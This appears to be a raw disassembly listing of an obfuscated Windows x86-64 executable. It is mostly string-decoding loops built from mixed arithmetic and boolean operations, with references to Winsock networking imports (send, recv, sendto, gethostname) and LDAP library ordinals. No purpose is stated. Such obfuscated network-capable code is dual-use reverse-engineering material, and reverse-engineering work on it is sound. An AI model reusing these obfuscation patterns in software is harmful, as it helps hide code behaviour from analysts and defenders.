lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009504a
movabs rdx, 0x83337e67a4dd7fd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400954e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140095083
movabs rcx, 0x7e771ceef616cca0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140094862
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094df5
movabs rdx, 0x278da71c1129e638
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095411
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400950ec
movabs rdx, 0x4e46008cd4d9a634
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x140095411
inc rax
cmp r8, rax
jne 0x140095126
movabs rdx, 0xa07314e70affd964
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140094862
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009515b
movabs rdx, 0x49899f142612f2fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140095496
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009518b
movabs rcx, 0xf2a0294141260c94
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
jmp 0x1400954e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400951cb
movabs rcx, 0x9bb6b36e5c39262c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094862
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140094d98
movabs rcx, 0x44cd3d9b774c3fc4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x14009551c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095241
movabs rdx, 0xbdb2ab66712232f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
inc rax
cmp r8, rax
jne 0x140095275
movabs rdx, 0x66c935938c354c88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009554e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400952aa
movabs rdx, 0xfdfbfc0a7486620
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009551c
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140094d47
movabs rdx, 0x666fccf49baffb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140095411
movabs rdx, 0x589411297fe132e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x860]
sub r11b, al
sub r11b, 0x20
add r11b, bl
add r11b, dl
jmp 0x140095496
movabs rcx, 0x1aa9b569af44c78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x48]
jmp 0x14009551c
movabs rdx, 0x6137866f8ff47314
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
movabs rcx, 0xb820fc4274e1597c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14009554e
movabs rcx, 0xf0a721559ce3fe4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x14009551c
movabs rcx, 0x65f3e7e83ebb264c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094862
movabs rdx, 0x6ab04960ed81d984
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140095454
movabs rcx, 0x18833506b75ba654
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
movabs rdx, 0x8408cc12f257a614
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x860], cl
inc r9
dec rdi
inc rdi
jmp 0x140094862
movabs rdx, 0x74290c524b0f3ff4
mov ecx, Ordinal_46
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140094862
movabs rdx, 0xcb1282252ffc265c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x2d1f56400d6abfac
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_41
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r11b
mov byte [rbp + rdi + 0x860], dl
jmp 0x1400954e2
movabs rcx, 0x21fbf7f814e90cc4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140094862
mov rbx, r10
movabs rcx, 0xcfcee39ddec2d994
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
movabs rdx, 0xd635e06d287dd944
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x860], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xaac12583b6076610
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, cl
mov byte [rbp + rdi + 0x860], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
movabs rdx, 0x7da1cf43a89ca664
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x860]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140094862
movabs rdx, 0x6c5ae4b7887625fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009485e
movabs rdx, 0xc3445a8a6d630c64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140094845
lea rcx, [rbp + 0x16aa170]
jmp 0x14009563b
lea rcx, [rbp + 0x742e3c]
jmp 0x14009563b
lea rcx, [rbp + 0x860]
call fcn.140035f00
mov byte [rbp + 0x888], 0xb9
mov byte [rbp + 0x889], 0x7a
mov byte [rbp + 0x88a], 0xb0
mov byte [rbp + 0x88b], WSAGetLastError
mov byte [rbp + 0x88c], select
mov byte [rbp + 0x88d], 2
mov byte [rbp + 0x88e], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x88f], 2
mov byte [rbp + 0x890], 0x9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x891], xmm0
mov qword [rbp + 0x8a1], rax
mov word [rbp + 0x8a9], ax
movabs rsi, 0xb4cbab46c7f1aaff
movabs r12, 0x458fcb3421e6efc3
movabs r14, 0xc513554e68642ee1
movabs r15, 0x39f3bee624964f5b
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400964a7
movzx ebx, byte [rbp + rdi + 0x888]
mov r10, rbx
cmp r8, rdi
ja 0x14009649b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009572a
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x55
jmp 0x140095763
je 0x140096415
inc rax
cmp r8, rax
je 0x140096379
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009631a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400962f1
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009629f
cmp r9, rdi
ja 0x14009648f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140095797
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 7
add r11b, dl
jmp 0x1400957c3
je 0x14009627b
inc rax
cmp r8, rax
je 0x140096252
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009621f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400961eb
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140095e24
lea rax, [r9 + 3]
cmp r8, rax
je 0x140095dff
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140095dd3
lea rax, [r9 + 9]
cmp r8, rax
je 0x140095da5
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140095d80
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140095d5d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140095d25
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140095cfd
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140095cd6
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140095c9d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400957d0
lea r8, [r9 + 4]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009646c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140096449
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400959c4
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400959a6
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140095988
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140095c3d
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140095be1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140095b8e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140095b60
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400957d0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140095b2c
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140095b05
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140095ae0
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140095aad
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140095a8a
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140095a65
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140095a3c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140095a10
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400959eb
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400957d0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x400]
jmp 0x1400957d0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x27
add r11b, dl
jmp 0x1400957c3
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7d
add r11b, dl
jmp 0x140095763
movabs rdx, 0xaed4287de0c86fd5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2d
add r11b, dl
jmp 0x1400956f4
movabs rdx, 0xa65d5a363f8d57f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400962be
movabs rcx, 0x1b3dc3cdfbbf7872
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
inc r9
dec rdi
inc rdi
jmp 0x1400956e2
movabs rcx, 0x901e2d65b7f198ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
dec rdi
inc rdi
jmp 0x1400956e2
movabs rdx, 0x4fe96fd7423b966
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140096339
movabs rcx, 0x79df00953055d9e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140096361
movabs rcx, 0xeebf6a2cec87fa5a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400956e2
movabs rdx, 0x639fd3c4a8ba1ad4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009639c
movabs rdx, 0xd8803d5c64ec3b4e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
add r11b, dl
jmp 0x1400963cd
movabs rcx, 0x4d60a6f4211e5bc8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
movabs rcx, 0xf191aeef779bacf9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x31
mov byte [rbp + rdi + 0x888], r11b
inc rdi
jmp 0x1400956e2
movabs rdx, 0x6672188733cdcd73
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x25
add r11b, dl
cmp r9, 0x3e8
jb 0x140095b7e
movabs rcx, 0xb74af6c5820387b2
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400962c1
movabs rcx, 0xdb52821eefffeded
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7b
cmp r8, 0x10
jae 0x140096197
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14009606b
movabs rdx, 0x480f16b2dbf8cc76
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
jmp 0x140095bad
movabs rcx, 0x5032ebb6ac320e67
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2f
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400961bf
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140095f2f
movabs rdx, 0x93436b6c14072177
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x41
add r11b, dl
jmp 0x140095bff
movabs rdx, 0x3cc603a8afaa01fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
movabs rdx, 0xb1a66d406bdc2274
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1400963cd
movabs rdx, 0x2686d6d8280e42ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009639f
movabs rdx, 0x9b67406fe4406368
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400956e2
movabs rcx, 0x1047aa07a07283e2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x140096361
movabs rdx, 0x8528139f5ca4a45c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140096339
movabs rdx, 0xfa087d3718d6c4d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400956e2
movabs rcx, 0x6ee8e6ced508e550
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x1400956e2
movabs rdx, 0xe3c95066913b05ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400962be
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140095e4f
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x55
add r11b, dl
jmp 0x140095c5b
jne 0x140095e8e
movabs rdx, 0x6997568d8fe355fe
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140095ec3
movabs rdx, 0x9615b02e9f1ad416
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096361
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095ef4
movabs rdx, 0x21354696e2e8b39c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
jmp 0x140096339
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140095c5b
movabs rdx, 0xac54dcff26b69322
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140095f60
movabs rdx, 0x1e6301d457d500fd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
jmp 0x1400962be
inc rax
cmp r8, rax
jne 0x140095f95
movabs rcx, 0x34a22ea4df70c009
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3f
dec rdi
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095fc5
movabs rcx, 0x4ae15b75670c7f15
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x6d
jmp 0x140096361
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140095ff6
movabs rdx, 0x61208845eea83e21
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x19
jmp 0x14009639c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009602a
movabs rdx, 0xec401eae32761da7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
add r11b, dl
jmp 0x1400963cd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140095bff
movabs rcx, 0x775fb5167643fd2d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3b
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400960b1
movabs rdx, 0xd32ead1b1fc6abfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400960e6
movabs rdx, 0x5e4e438363948b82
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400963cd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009612b
movabs rdx, 0x748d7053eb304a8e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140096166
movabs rdx, 0x15ec338cb699e920
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400956e2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140095bb0
movabs rdx, 0x2c2b605d3e35a82c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
jmp 0x1400962be
movabs rdx, 0x426a8d2dc5d16738
add rdx, rdi
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x888]
sub cl, al
add cl, 0x3c
lea r11d, [rcx + rcx]
jmp 0x140096339
movabs rdx, 0xcd8a2396099f46be
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x888]
sub r11b, 0x32
jmp 0x14009639c
movabs rcx, 0x98e7f4f12a2e86b5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xd
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
movabs rcx, 0xf78931b85ec4e823
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xb
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400956e2
movabs rcx, 0x562a6e7f935b4991
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 9
dec rdi
inc rdi
jmp 0x1400956e2
movabs rdx, 0x3feb41af0bbf8a85
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x5d
jmp 0x1400962be
movabs rdx, 0x29ac14de8423cb79
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4f
add r11b, dl
movabs rcx, 0xfcdac1f9a3ea7775
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x33
add cl, bl
mov byte [rbp + rdi + 0x888], cl
inc r9
dec rdi
inc rdi
jmp 0x1400956e2
movabs rcx, 0x136ce80dfc880c6d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 5
dec rdi
inc rdi
jmp 0x1400956e2
movabs rdx, 0x884d51a5b8ba2ce7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x51
add r11b, dl
movabs rcx, 0x87fa5861e7b856fb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x23
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x888], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400956e2
mov rbx, r10
movabs rdx, 0xe6ee8e6ced508e55
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x53
add r11b, dl
movabs rcx, 0x1319eeca2b863681
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x79
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x888], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x58a9b9fe4d6d2644
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x888], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
movabs rcx, 0xd0af619c65b4cf49
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
inc r11b
movzx eax, byte [rbp + rdi + 0x888]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400956e2
movabs rcx, 0x23b492159cfa904f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x29
jmp 0x1400956e0
movabs rcx, 0x9894fbad592cb0c9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7f
jmp 0x1400956d0
lea rsi, [rbp + 0x1691f8c]
jmp 0x1400964ae
lea rsi, [rbp + 0x900f4f]
jmp 0x1400964ae
lea rsi, [rbp + 0x888]
lea rdx, [0x14021aab0]
lea rcx, [rbp + 0x280]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7f0
mov r14, rax
mov byte [rbp + 0x8b0], 0x54
mov byte [rbp + 0x8b1], 0xb0
mov byte [rbp + 0x8b2], Ordinal_143
mov byte [rbp + 0x8b3], 0x87
mov byte [rbp + 0x8b4], 0xa5
mov byte [rbp + 0x8b5], __WSAFDIsSet
mov byte [rbp + 0x8b6], 0xa5
mov byte [rbp + 0x8b7], 0xaa
mov byte [rbp + 0x8b8], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8b9], xmm0
mov qword [rbp + 0x8c9], rax
mov word [rbp + 0x8d1], ax
movabs r15, 0x6037b5032da9fe9c
movabs r12, 0x890f34399bf77ce4
movzx r11d, byte [rsp + 0x40]
nop
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0xa30ed7db9475cf2c
cmp rdi, 0x23
jae 0x1400973aa
movzx ebx, byte [rbp + rdi + 0x8b0]
mov r10, rbx
cmp r9, rdi
ja 0x14009739e
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400965b4
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x34
jmp 0x140096600
je 0x14009730d
lea rax, [r8 + 2]
cmp r9, rax
je 0x140097272
lea rax, [r8 + 3]
cmp r9, rax
je 0x140097239
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400971d6
lea rax, [r8 + 7]
cmp r9, rax
je 0x1400971ad
lea rax, [r8 + 4]
